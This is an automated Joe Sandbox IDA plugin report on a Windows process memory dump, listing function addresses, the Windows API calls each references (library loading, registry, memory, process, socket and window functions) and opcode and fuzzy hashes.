Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 5b4e325faf815f00da8ab7bae0ac5624fdb5602a1d16ff043156e54f419a4a18
Instruction ID: b3f54ab1302cac0bd705a98de709016f4f1d9b8836d0883482d9c3472cf80faf
Opcode Fuzzy Hash: 5b4e325faf815f00da8ab7bae0ac5624fdb5602a1d16ff043156e54f419a4a18
Instruction Fuzzy Hash: F0D01771510B128FD7309F32D849B0B76E5AF05351F259CBAD486E2955EBB0D890CA10

Function 00BE4B77 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00BE4B44,?,00BE49D4,?,?,00BE27AF,?,00000001), ref: 00BE4B85
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00BE4B97

Strings

kernel32.dll, xrefs: 00BE4B80
Wow64DisableWow64FsRedirection, xrefs: 00BE4B91

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 4a2cbc76ff1c8aa37932dbddcc68b975f73a0d080fbafc31ca42e18e283dbd08
Instruction ID: 8502f32ae376adb60a314f1686026822df756512e13c532ea04341861f5ff0f4
Opcode Fuzzy Hash: 4a2cbc76ff1c8aa37932dbddcc68b975f73a0d080fbafc31ca42e18e283dbd08
Instruction Fuzzy Hash: ECD01771910B128FD7309F32D859B0F76E4AF05755F25CC7AD886E2150EBB0E880CA14

Function 00C5120F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00C5145E), ref: 00C5121D
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00C5122F

Strings

RegDeleteKeyExW, xrefs: 00C51229
advapi32.dll, xrefs: 00C51218

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: b0b1ef6b4297ec6351a2887f9450562030e90004fcc21b43f19d1611687dd579
Instruction ID: 0a53c751f9e5c21847cc651ab0af49a2aaadcf40bacb6f2e1dfe0074e321e544
Opcode Fuzzy Hash: b0b1ef6b4297ec6351a2887f9450562030e90004fcc21b43f19d1611687dd579
Instruction Fuzzy Hash: BBD0C230440B128FD3209F31CC0830B76D4AF21342F14893AD891E6550D6B0C4C0C700

Function 00BE55F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00BE5E3D), ref: 00BE55FE
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00BE5610

Strings

kernel32.dll, xrefs: 00BE55F9
GetNativeSystemInfo, xrefs: 00BE560A

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 188c4495acdde8ce1cf6a00274081d82936f6550a05d862943470e160f1bb0a1
Instruction ID: 82f62a25a9104dde4f4b5d4f7f2dfefe6f67d3527abcaa8136e3146209a92076
Opcode Fuzzy Hash: 188c4495acdde8ce1cf6a00274081d82936f6550a05d862943470e160f1bb0a1
Instruction Fuzzy Hash: A3D01775920B128FE7309F32C94971B76E5AF05359B258C7AD48AE2191E7B0C880CA50

Function 00C49592 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00C491A6,?,00C60980), ref: 00C495A0
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00C495B2

Strings

kernel32.dll, xrefs: 00C4959B
GetModuleHandleExW, xrefs: 00C495AC

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: f51bafe437dafb2211271f662f87e7c46b2b6fd7fbe14a23410da2619416b093
Instruction ID: 54a20239dcb7f3851d6d49c26f0416fe44602b7a1a907a9a0f144c2dc5e69def
Opcode Fuzzy Hash: f51bafe437dafb2211271f662f87e7c46b2b6fd7fbe14a23410da2619416b093
Instruction Fuzzy Hash: A5D01771510B228FD7319F76D859B4BBAE4EF06356B258C3AD896E2190E6F0CA80CA10

Function 00C27B7E Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a6d04f0ad78de79aca979cbf6d6b59a8e2000a27fae13a2305973877b247260
Instruction ID: 1e0f6bd8a29d51df78b9026726e36fae85718239aa0251060a9b2b77fab61672
Opcode Fuzzy Hash: 1a6d04f0ad78de79aca979cbf6d6b59a8e2000a27fae13a2305973877b247260
Instruction Fuzzy Hash: 33C17275A04226EFCB14CFA4D8C4EAEBBB5FF48710B114698E815EB651D730EE81DB90

Function 00C4E4DB Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00C4E56F
CharLowerBuffW.USER32(?,?), ref: 00C4E5B2

Part of subcall function 00C4DC56: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00C4DC76

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00C4E7B2
_memmove.LIBCMT ref: 00C4E7C5

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 50e41b2d7c9615b6738dbde531b5ba96c6a550f1c70362197aa1be569fbe5d12
Instruction ID: 5b03a2113858c10cf44cd89a5c19c74221679643d920c5d189c37437f069834f
Opcode Fuzzy Hash: 50e41b2d7c9615b6738dbde531b5ba96c6a550f1c70362197aa1be569fbe5d12
Instruction Fuzzy Hash: 72C15A71A083119FC714DF28C48096ABBE5FF88718F1589AEF899DB351D731EA45CB82

Function 00C48545 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00C48575
CoUninitialize.OLE32 ref: 00C48580

Part of subcall function 00C5DC66: CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,00C487D6,?,00000000), ref: 00C5DCCE

VariantInit.OLEAUT32(?), ref: 00C4858B
VariantClear.OLEAUT32(?), ref: 00C4885C

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: e337b43344bb079061b2be06a3090e1743232fe0515ce03820942d26d0b32c22
Instruction ID: 50f372b28f857176c3f1ff52d9fbbe0838fafe048be5787b2926aff103d4dbcc
Opcode Fuzzy Hash: e337b43344bb079061b2be06a3090e1743232fe0515ce03820942d26d0b32c22
Instruction Fuzzy Hash: 23A15875604B019FCB10EF15C485B2EB7E5BF88354F148899F9999B3A2DB30ED44CB92

Function 00C2727E Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00C2728F
SysAllocString.OLEAUT32(00000000), ref: 00C27338
VariantCopy.OLEAUT32 ref: 00C27367
VariantClear.OLEAUT32(?), ref: 00C2738E

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 43960032a954a50fadac4d4b31950aa66b6006b5956bd2e395b34036614676a9
Instruction ID: f0df25a3e21478a59b5693d845b759f5939eb9c25efd9c956a711602a0731f2c
Opcode Fuzzy Hash: 43960032a954a50fadac4d4b31950aa66b6006b5956bd2e395b34036614676a9
Instruction Fuzzy Hash: 3151E4306087169ACB30BF66E8D1A2DF7E9EF54310F208A1FE556DBAA1DB7098409B51

Function 00C4F2BE Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00C4F2EE
Process32FirstW.KERNEL32(00000000,?), ref: 00C4F2FC

Part of subcall function 00BE1A36: _memmove.LIBCMT ref: 00BE1A77

Process32NextW.KERNEL32(00000000,?), ref: 00C4F3BC
CloseHandle.KERNEL32(00000000,?,?,?), ref: 00C4F3CB

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: d0df0f41b21437a258bb6a3ee54748870b38e93951de7fade830628f848ce14f
Instruction ID: 16cf277f17b14d3a736ebe189d8c9e841b13e0e86d00f3a4f2df526b5f4e6b7c
Opcode Fuzzy Hash: d0df0f41b21437a258bb6a3ee54748870b38e93951de7fade830628f848ce14f
Instruction Fuzzy Hash: BD518B71504701AFD310EF25D886E6FB7E8FF94700F10496EF595972A1EB70AA09CB92

Function 00C59BE1 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00C59C50
ScreenToClient.USER32(00000002,00000002), ref: 00C59C83
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00C59CF0

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: c5206ee08954c2cf91159efe79b6872ded602ec338c97409a2316deeea2a55c3
Instruction ID: 2f1dbe3990ea4cd8ac9e5a5ce3cac1dc22a070beb87fd61d1dcb9550a162caf1
Opcode Fuzzy Hash: c5206ee08954c2cf91159efe79b6872ded602ec338c97409a2316deeea2a55c3
Instruction Fuzzy Hash: 99514F34A00109EFCF24DF64C884AAE7BF6FB45361F248199FC25972A1D770AE85CB54

Function 00BF485A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00BF48F0
__flush.LIBCMT ref: 00BF4910
__write.LIBCMT ref: 00BF4943
__flsbuf.LIBCMT ref: 00BF4971

Part of subcall function 00BF8C88: __getptd_noexit.LIBCMT ref: 00BF8C88

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction ID: 93d7177c483d986ceca61e5705e090016eb4c439214e68a1359f366dad415906
Opcode Fuzzy Hash: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction Fuzzy Hash: 5341B171B0064E9FDB288EA9C88097F77E6EF85360B24C5BDEA55C7640DBB0DD498B40

Function 00C2A41B Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00C2A46D
__itow.LIBCMT ref: 00C2A49E

Part of subcall function 00C2A6EE: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00C2A759

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00C2A507
__itow.LIBCMT ref: 00C2A55E

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 0fd4715b819f9bce04d214e5f2edfb915284036349517f10e20d11068d9306ad
Instruction ID: 19c67ad5f02107c301a3f4c7ef641059094f86e93e801460374cdb91812e6d48
Opcode Fuzzy Hash: 0fd4715b819f9bce04d214e5f2edfb915284036349517f10e20d11068d9306ad
Instruction Fuzzy Hash: 25419E70A00258ABDF21EF59DC45BFE7BF9EF44750F100469F915A3291DBB09A44CBA2

Function 00C46E5A Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00C46E81
WSAGetLastError.WSOCK32(00000000), ref: 00C46E91

Part of subcall function 00BD4D37: __itow.LIBCMT ref: 00BD4D62
Part of subcall function 00BD4D37: __swprintf.LIBCMT ref: 00BD4DAC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00C46EF5
WSAGetLastError.WSOCK32(00000000), ref: 00C46F01

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 6f6feeef625e7c2433a81082285de3e96dbdab36b197e30224b92d6379c81afc
Instruction ID: a1a164c4354f268374736063cdcbaa6b342636c038a87587754d0c19769f020b
Opcode Fuzzy Hash: 6f6feeef625e7c2433a81082285de3e96dbdab36b197e30224b92d6379c81afc
Instruction Fuzzy Hash: 3941B475740600AFEB20AF64DC8AF6AB7E5EB04714F14849DFA599B3D2E7709D008B91

Function 00C468CA Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00C60980), ref: 00C46957
_strlen.LIBCMT ref: 00C46989

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 1e9eae39fe4ff6c7dcbc38e47a5b90b00ede0e3271840ad3e022fcd3b9efda7e
Instruction ID: d7a7d5d18e0a75455f99a051b4e49af8c09e65fa775e1632765009b30a18951e
Opcode Fuzzy Hash: 1e9eae39fe4ff6c7dcbc38e47a5b90b00ede0e3271840ad3e022fcd3b9efda7e
Instruction Fuzzy Hash: C2419531600108AFCB14FBA5DC95EBEB3E9BF55310F248195F91697292EB70AD04D791

Function 00C3BCA4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00C3BD4E
GetLastError.KERNEL32(?,00000000), ref: 00C3BD74
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00C3BD99
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00C3BDC5

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 71dec1fc8d06a93de80664fd13a533e43c97102b5056e332b8383a1aded07921
Instruction ID: 787f06507745898e0aa09a690cbe90f45bc7005e1242335444adeebaafc12dd7
Opcode Fuzzy Hash: 71dec1fc8d06a93de80664fd13a533e43c97102b5056e332b8383a1aded07921
Instruction Fuzzy Hash: 32411839200A14DFCB11EF15C485A5EBBE2AF49310F19C4D9E95AAB362DB70FD01DB91

Function 00C58C3E Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00C58CCB

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: cd1961cff92001367222289e6ac4cc6c92d880cd9cef21371f99c4d9fed81189
Instruction ID: 46d0ae5e46d71c2506f35a20cd5f51fee28dfa3bd0398b9b9134db1c5ec2c3f4
Opcode Fuzzy Hash: cd1961cff92001367222289e6ac4cc6c92d880cd9cef21371f99c4d9fed81189
Instruction Fuzzy Hash: B331A23C601109AEEF249A19CC85BAD77A4EB15312F244512FD21F62E1CA70AADC9659

Function 00C5AF24 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00C5AF4D
GetWindowRect.USER32(?,?), ref: 00C5AFC3
PtInRect.USER32(?,?,00C5C437), ref: 00C5AFD3
MessageBeep.USER32(00000000), ref: 00C5B044

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 9c59d75c7747e1854b7e8cb251d5b31a2680c98a94aacd93e588fd01b54171c5
Instruction ID: 5809fe457d24ff2ca5b2e9adcfe4f27443293645e042d6635ff1617666955c0e
Opcode Fuzzy Hash: 9c59d75c7747e1854b7e8cb251d5b31a2680c98a94aacd93e588fd01b54171c5
Instruction Fuzzy Hash: 2841C0B8600109DFCB21CF49C884B6EBBF1FF88311F1481A9E8249B291C731EE89DB54

Function 00C31141 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00C31192
SetKeyboardState.USER32(00000080,?,00000001), ref: 00C311AE
